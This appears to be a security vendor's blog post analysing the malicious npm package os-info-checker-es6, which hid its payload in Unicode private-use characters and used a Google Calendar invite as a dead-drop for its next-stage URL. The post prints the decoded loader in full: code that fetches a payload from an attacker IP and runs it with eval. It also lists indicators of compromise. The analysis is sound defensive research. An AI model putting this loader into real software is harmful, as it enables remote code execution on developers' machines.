Product
Everything you need to secure code, cloud, and runtime– in one central system
Code
Dependencies
Prevent open-source risks (SCA)
Secrets
Get flagged for exposed secrets
SAST
Secure code as its written
Container Images
Build secure images
Malware
Prevent supply chain attacks
IaC
Scan IaC for misconfigurations
License Risk & SBOMs
Avoid risk, be compliant
Outdated Software
Know your EOL runtimes
Cloud
CSPM
Cloud misconfigurations
DAST
Black-box security testing
API Scanning
Test your API’s for vuln
Virtual Machines
No agents, no overhead
Kubernetes Runtime
soon
Secure your container workloads
Cloud Inventory
soon
Cloud sprawl, solved
Defend
Runtime Protection
In-app Firewall / WAF
Features
AI AutoFix
1-click fixes with Aikido AI
CI/CD Security
Scan before merge and deployment
IDE Integrations
Get instant feedback while coding
On-Prem Scanner
Compliance-first local scanning
Solutions
Use Cases
Compliance
Automate SOC 2, ISO & more
Vulnerability Management
All-in-1 vuln management
Secure Your Code
Advanced code security
Generate SBOMs
1 click SCA reports
ASPM
End-to-end AppSec
AI at Aikido
Let Aikido AI do the work
Block 0-Days
Block threats before impact
Industries
FinTech
HealthTech
HRTech
Legal Tech
Group Companies
Agencies
Startups
Enterprise
Mobile apps
Manufacturing
Pricing
Resources
Developer
Docs
How to use Aikido
Public API docs
Aikido developer hub
Changelog
See what shipped
Security
In-house research
Malware & CVE intelligence
Glossary
Security jargon guide
Trust Center
Safe, private, compliant
Open Source
Aikido Intel
Malware & OSS threat feed
Zen
In-app firewall protection
OpenGrep
Code analysis engine
Integrations
IDEs
CI/CD Systems
Clouds
Git Systems
Compliance
Messengers
Task Managers
More integrations
About
About
About
Meet the team
Careers
We’re hiring
Press Kit
Download brand assets
Calendar
See you around?
Open Source
Our OSS projects
Blog
The latest posts
Customer Stories
Trusted by the best teams
Contact
Login
Start for Free
No CC required
Aikido
Menu
Aikido
EN
EN
FR
JP
Login
Start for Free
No CC required
Blog
/
You're Invited: Delivering malware via Google Calendar invites and PUAs

You're Invited: Delivering malware via Google Calendar invites and PUAs

By
Charlie Eriksen
Charlie Eriksen
4 min read
Malware

On March 19th, 2025, we discovered a package called os-info-checker-es6 and were taken aback. We could tell it was not doing what it said on the tin. But what's the deal? We decided to investigate the matter and initially hit some dead ends. But patience pays off, and we eventually got most of the answers we sought. We also learned about Unicode PUAs (No, not pick-up artists). It was a roller coaster ride of emotions!

What is the package?

The package doesn’t give many clues due to the lack of a README file. Here’s what the package looks like on npm:

Not very informative. But it sounds like it fetches system information. Lets march on. 

Smelly code gives it away

Our analysis pipeline immediately raised many red flags from the package's preinstall.js file due to the presence of an eval() call with base64-encoded input. 

‍

We see the eval(atob(...)) call. That means “Decode a base64 string and evaluate it,” i.e., execute arbitrary code. That’s never a good sign. But what’s the input? 

The input is a string that results from calling decode() on a native Node module shipped with the package. The input to that function looks like… Just a |?! What? 

We’ve got several big questions here:

  1. What is the decode function doing?
  2. What does decoding have to do with checking OS information?
  3. Why is it eval()’ing it? 
  4. Why is the only input to it a |?

Let's go deeper

We decided to reverse engineer the binary. It’s a small Rust binary that doesn't do much. We initially expected to see some calls to functions to get OS information, but we saw NOTHING. We thought perhaps the binary was hiding more secrets, providing the answer to our first question. More on that later.

But then, what is up with the input to the function being just a |? Here’s where things get interesting. That’s not the actual input. We copied the code into another editor, and what we see is:

Womp-womp! They almost got away with it. What we see is called Unicode “Private Use Access” characters. These are unassigned codes in the Unicode standard, which is reserved for private use that people can use to define their own symbols for their application. They are inherently unprintable, as they mean nothing inherently. 

In this case, the decode call into the native Node binary decodes those bytes into base64 encoded ASCII characters. Very clever!

Let's take it for a spin

So, we decided to examine the actual code. Luckily, it saves the code it ran into a file run.txt. And it’s just this:

console.log('Check');

That’s super uninteresting. What are they up to? Why are they going to all this effort to hide this code? We were stunned. 

But then…

We started seeing published packages that depended on this package, one of them being from the same author. They were:

  • skip-tot (March 19th, 2025)
    • It is a copy of the package vue-skip-to.
  • vue-dev-serverr (March 31st, 2025)
    • It is a copy of the repo https://github.com/guru-git-man/first.
  • vue-dummyy (April 3rd, 2025)
    • It is a copy of the package vue-dummy.
  • vue-bit (April 3rd, 2025)
    • Is pretending to be the package @teambit/bvm.
    • Has no actual code in it.

‍

They all have in common that they add os-info-checker-es6 as a dependency but never call the decode function. What a disappointment. We’re none the wiser about what the attackers were hoping to do. Nothing happened for a while until the os-info-checker-es6 package was updated again after a long pause.

FINALLY

This case had been at the back of my mind for a while. It didn’t make sense. What were they trying to do? Did I miss something obvious when decompiling the native Node module? Why would an attacker burn this novel capability so soon? The answer came on May 7th, 2025, when a new version of os-info-checker-es6, version 1.0.8, came out. The preinstall.js has changed. 

Oh look, the obfuscated string is much longer!  But the eval call is commented out. So even if a malicious payload exists in the obfuscated string, it wouldn’t be executed. What? We ran the decoder in a sandbox and printed out the decoded string. Here it is after a bit of prettifying and manual annotations:

const https = require('https');
const fs    = require('fs');

/**
 * Extract the first capture group that matches the pattern:
 *     ${attrName}="([^\"]*)"
 */
const ljqguhblz = (html, attrName) => {
  const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
  return html.match(regex)[1];
};

/**
 * Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
 *           pull the base-64-encoded payload URL from its data-attribute.
 */
const krswqebjtt = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      // Handle HTTP 30x redirects manually so we can keep extracting headers.
      if (res.status !== 200) {
        const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
        return krswqebjtt(redirect, cb);
      }

      const body = await res.text();
      cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    console.log(err);
    cb(err);
  }
};

/**
 * Stage-2: download the real payload plus.
 */
const ymmogvj = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      const body = await res.text();
      const h    = res.headers;
      cb(null, {
        acxvacofz : body,                               // base-64 JS payload
        yxajxgiht : h.get(atob('aXZiYXNlNjQ=')),        // 'ivbase64' 
        secretKey : h.get(atob('c2VjcmV0a2V5')),        // 'secretKey' 
      });
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    cb(err);
  }
};

/**
 * Orchestrator: keeps trying the two stages until a payload is successfully executed.
 */
const mygofvzqxk = async () => {
  await krswqebjtt(
    atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
    async (err, link) => {
      if (err) {
        console.log('cjnilxo');
        await new Promise(r => setTimeout(r, 1000));
        return mygofvzqxk();
      }

      await ymmogvj(
        atob(link),
        async (err, { acxvacofz, yxajxgiht, secretKey }) => {
          if (err) {
            console.log('cjnilxo');
            await new Promise(r => setTimeout(r, 1000));
            return mygofvzqxk();
          }

          if (acxvacofz.length === 20) {
            return eval(atob(acxvacofz));
          }

          // Execute attacker-supplied code with current user privileges.
          eval(atob(acxvacofz));
        }
      );
    }
  );
};

/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));

/* ---------- kick it all off ---------- */
mygofvzqxk();

/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
  console.log(err);
  fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
  if (++yyzymzi > 10) process.exit(0);
  await new Promise(r => setTimeout(r, 1000));
  mygofvzqxk();
});

Did you see the URL to Google Calendar in the orchestrator? That’s an interesting thing to see in malware. Very exciting. 

You’re all invited!

Here’s what the link looks like:

‍

A calendar invite with a base64 encoded string as the title. Beautiful! The pizza profile photo made me hope that maybe it was an invitation to a pizza party, but the event is scheduled for June 7th, 2027. I can’t wait that long for pizza. I’ll take another base64 encoded string though. Here’s what it decodes to:

http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D

At a dead end.. again

This investigation has been full of ups and downs. We thought things were at a dead end, only for signs of life to appear again. We got so close to figuring out the developer's REAL malicious intent, but we didn’t quite make it.

Make no mistake—this was a novel approach to obfuscation. You’d think that anybody who would put in the time and effort to do something like this would use the capabilities they have developed. Instead, they seem to have done nothing with it, showing their hand. 

As a result, our analysis engine now detects patterns like this, where an attacker tries to hide data in unprintable control characters. It’s another case where trying to be clever, rather than making it harder to detect, actually creates more signal. Because it’s so unusual that it sticks out and waves a big sign saying “I AM UP TO NO GOOD”. Keep up the great work. 👍

Indicators of compromise

Packages

  • os-info-checker-es6
  • skip-tot
  • vue-dev-serverr
  • vue-dummyy
  • vue-bit

IPs

  • 140.82.54[.]223

URLs

  • https://calendar.app[.]google/t56nfUUcugH9ZUkx9

Acknowledgement

During this investigation, we were helped by our great friends at Vector35, who provided us with a trial license for their Binary Ninja tool to ensure we fully understood the native Node module. Big thank you to the team there for their great product. 👏

‍

Written by Charlie Eriksen

Malware Researcher

Share:

https://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas

Table of contents:
Text Link
Share:
Use keyboard
Use left key to navigate previous on Aikido slider
Use right arrow key to navigate to the next slide
to navigate through articles
By
Mackenzie Jackson

Why Updating Container Base Images is So Hard (And How to Make It Easier)

Engineering
May 12, 2025
Read more
By
Charlie Eriksen

RATatouille: A Malicious Recipe Hidden in rand-user-agent (Supply Chain Compromise)

May 6, 2025
Read more
By
Charlie Eriksen

XRP supply chain attack: Official NPM package infected with crypto stealing backdoor

April 22, 2025
Read more
By
Charlie Eriksen

The malware dating guide: Understanding the types of malware on NPM

Malware
April 10, 2025
Read more
By
Charlie Eriksen

Hide and Fail: Obfuscated Malware, Empty Payloads, and npm Shenanigans

Malware
April 3, 2025
Read more
By
Madeline Lawrence

Launching Aikido Malware – Open Source Threat Feed

News
March 31, 2025
Read more
By
Charlie Eriksen

Malware hiding in plain sight: Spying on North Korean Hackers

March 31, 2025
Read more
By
Madeline Lawrence

Get the TL;DR: tj-actions/changed-files Supply Chain Attack

News
March 16, 2025
Read more
By
Mackenzie Jackson

A no-BS Docker security checklist for the vulnerability-minded developer

Guides
March 6, 2025
Read more
By
Mackenzie Jackson

Sensing and blocking JavaScript SQL injection attacks

Guides
March 4, 2025
Read more
By
Floris Van den Abeele

Prisma and PostgreSQL vulnerable to NoSQL injection? A surprising security risk explained

Engineering
February 14, 2025
Read more
By
Willem Delbare

Launching Opengrep | Why we forked Semgrep

News
January 24, 2025
Read more
By
Thomas Segura

Your Client Requires NIS2 Vulnerability Patching. Now What?

January 14, 2025
Read more
By
Mackenzie Jackson

Top 10 AI-powered SAST tools in 2025

Guides
January 10, 2025
Read more
By
Madeline Lawrence

Snyk vs Aikido Security | G2 Reviews Snyk Alternative

Guides
January 10, 2025
Read more
By
Mackenzie Jackson

Top 10 Software Composition Analysis (SCA) tools in 2025

Guides
January 9, 2025
Read more
By
Michiel Denis

3 Key Steps to Strengthen Compliance and Risk Management

December 27, 2024
Read more
By
Mackenzie Jackson

The Startup's Open-Source Guide to Application Security

Guides
December 23, 2024
Read more
By
Madeline Lawrence

Launching Aikido for Cursor AI

Engineering
December 13, 2024
Read more
By
Mackenzie Jackson

Meet Intel: Aikido’s Open Source threat feed powered by LLMs.

Engineering
December 13, 2024
Read more
By
Johan De Keulenaer

Aikido joins the AWS Partner Network

News
November 26, 2024
Read more
By
Mackenzie Jackson

Command injection in 2024 unpacked

Engineering
November 24, 2024
Read more
By
Mackenzie Jackson

Path Traversal in 2024 - The year unpacked

Engineering
November 23, 2024
Read more
By
Mackenzie Jackson

Balancing Security: When to Leverage Open-Source Tools vs. Commercial Tools

Guides
November 15, 2024
Read more
By
Mackenzie Jackson

The State of SQL Injection

Guides
November 8, 2024
Read more
By
Michiel Denis

Visma’s Security Boost with Aikido: A Conversation with Nikolai Brogaard

News
November 6, 2024
Read more
By
Michiel Denis

Security in FinTech: Q&A with Dan Kindler, co-founder & CTO of Bound

News
October 10, 2024
Read more
By
Felix Garriau

Top 7 ASPM Tools in 2025

Guides
October 1, 2024
Read more
By
Madeline Lawrence

Automate compliance with SprintoGRC x Aikido

News
September 11, 2024
Read more
By
Felix Garriau

How to Create an SBOM for Software Audits

Guides
September 9, 2024
Read more
By
Madeline Lawrence

SAST vs DAST: What you need to know.

Guides
September 2, 2024
Read more
By
Felix Garriau

Best SBOM Tools for Developers: Our 2025 Picks

Guides
August 7, 2024
Read more
By
Lieven Oosterlinck

5 Snyk Alternatives and Why They Are Better

News
August 5, 2024
Read more
By
Madeline Lawrence

Why we’re stoked to partner with Laravel

News
July 8, 2024
Read more
By
Felix Garriau

110,000 sites affected by the Polyfill supply chain attack

News
June 27, 2024
Read more
By
Felix Garriau

Cybersecurity Essentials for LegalTech Companies

News
June 25, 2024
Read more
By
Roeland Delrue

Drata Integration - How to Automate Technical Vulnerability Management

Guides
June 18, 2024
Read more
By
Joel Hans

DIY guide: ‘Build vs buy’ your OSS code scanning and app security toolkit

Guides
June 11, 2024
Read more
By
Roeland Delrue

SOC 2 certification: 5 things we learned

Guides
June 4, 2024
Read more
By
Joel Hans

Top 10 app security problems and how to protect yourself

Guides
May 28, 2024
Read more
By
Madeline Lawrence

We just raised our $17 million Series A

News
May 2, 2024
Read more
By

Best RASP Tools for Developers in 2025

April 10, 2024
Read more
By
Willem Delbare

Webhook security checklist: How to build secure webhooks

Guides
April 4, 2024
Read more
By
Willem Delbare

The Cure For Security Alert Fatigue Syndrome

Engineering
February 21, 2024
Read more
By
Roeland Delrue

NIS2: Who is affected?

Guides
January 16, 2024
Read more
By
Roeland Delrue

ISO 27001 certification: 8 things we learned

Guides
December 5, 2023
Read more
By
Roeland Delrue

Cronos Group chooses Aikido Security to strengthen security posture for its companies and customers

News
November 30, 2023
Read more
By
Bart Jonckheere

How Loctax uses Aikido Security to get rid of irrelevant security alerts & false positives

News
November 22, 2023
Read more
By
Felix Garriau

Aikido Security raises €5m to offer a seamless security solution to growing SaaS businesses

News
November 9, 2023
Read more
By
Roeland Delrue

Aikido Security achieves ISO 27001:2022 compliance

News
November 8, 2023
Read more
By
Felix Garriau

How StoryChief’s CTO uses Aikido Security to sleep better at night

News
October 24, 2023
Read more
By
Willem Delbare

What is a CVE?

Guides
October 17, 2023
Read more
By
Felix Garriau

Best Tools for End-of-Life Detection: 2025 Rankings

Guides
October 4, 2023
Read more
By
Willem Delbare

Top 3 web application security vulnerabilities in 2024

Engineering
September 27, 2023
Read more
By
Felix Garriau

New Aikido Security Features: August 2023

News
August 22, 2023
Read more
By
Felix Garriau

Aikido’s 2025 SaaS CTO Security Checklist

News
August 10, 2023
Read more
By
Felix Garriau

Aikido’s 2024 SaaS CTO Security Checklist

News
August 10, 2023
Read more
By
Felix Garriau

15 Top Cloud and Code Security Challenges Revealed by CTOs

Engineering
July 25, 2023
Read more
By
Willem Delbare

What is OWASP Top 10?

Guides
July 12, 2023
Read more
By
Willem Delbare

How to build a secure admin panel for your SaaS app

Guides
July 11, 2023
Read more
By
Roeland Delrue

How to prepare yourself for ISO 27001:2022

Guides
July 5, 2023
Read more
By
Willem Delbare

Preventing fallout from your CI/CD platform being hacked

Guides
June 19, 2023
Read more
By
Felix Garriau

How to Close Deals Faster with a Security Assessment Report

News
June 12, 2023
Read more
By
Willem Delbare

Automate Technical Vulnerability Management [SOC 2]

Guides
June 5, 2023
Read more
By
Willem Delbare

Preventing prototype pollution in your repository

Guides
June 1, 2023
Read more
By
Willem Delbare

How does a SaaS startup CTO balance development speed and security?

Guides
May 16, 2023
Read more
By
Willem Delbare

How a startup’s cloud got taken over by a simple form that sends emails

Engineering
April 10, 2023
Read more
By
Felix Garriau

Aikido Security raises €2 million pre-seed round to build a developer-first software security platform

News
January 19, 2023
Read more
By
The Aikido Team

Top Dynamic Application Security Testing (DAST) Tools in 2025

Read more
By

Why Lockfiles Matter for Supply Chain Security

Read more
Top Dynamic Application Security Testing (DAST) Tools in 2025
By
The Aikido Team

Top Dynamic Application Security Testing (DAST) Tools in 2025

May 14, 2025
Why Updating Container Base Images is So Hard (And How to Make It Easier)
By
Mackenzie Jackson

Why Updating Container Base Images is So Hard (And How to Make It Easier)

Engineering
February 11, 2025
RATatouille: A Malicious Recipe Hidden in rand-user-agent (Supply Chain Compromise)
By
Charlie Eriksen

RATatouille: A Malicious Recipe Hidden in rand-user-agent (Supply Chain Compromise)

March 31, 2025

Get secure in 32 seconds

Connect your GitHub, GitLab, Bitbucket or Azure DevOps account to start scanning your repos for free.

Start for Free
Your data won't be shared · Read-only access
Aikido dashboard
Company
ProductPricingAboutCareersContactPartner with us
Resources
DocsPublic API DocsVulnerability DatabaseBlogIntegrationsGlossaryPress KitCustomer Reviews
Security
Trust CenterSecurity OverviewChange Cookie Preferences
Legal
Privacy PolicyCookie PolicyTerms of UseMaster Subscription AgreementData Processing Agreement
Use Cases
ComplianceSAST & DASTASPMVulnerability ManagementGenerate SBOMsWordPress SecuritySecure Your Code
Industries
For HealthTechFor MedTechFor FinTechFor SecurityTechFor LegalTechFor HRTechFor AgenciesFor EnterpriseFor PE & Group Companies
Compare
vs All Vendorsvs Snykvs Wizvs Mendvs Orca Securityvs Veracodevs GitHub Advanced Securityvs GitLab Ultimatevs Checkmarxvs Semgrepvs SonarQube
Connect
hello@aikido.dev
LinkedInX
Subscribe
Stay up to date with all updates
Not quite there yet.
👋🏻 Thank you! You’ve been subscribed.
Team Aikido
Not quite there yet.
© 2025 Aikido Security BV | BE0792914919
🇪🇺 Registered address: Coupure Rechts 88, 9000, Ghent, Belgium
🇪🇺 Office address: Gebroeders van Eyckstraat 2, 9000, Ghent, Belgium
🇺🇸 Office address: 95 Third St, 2nd Fl, San Francisco, CA 94103, US
SOC 2
Compliant
ISO 27001
Compliant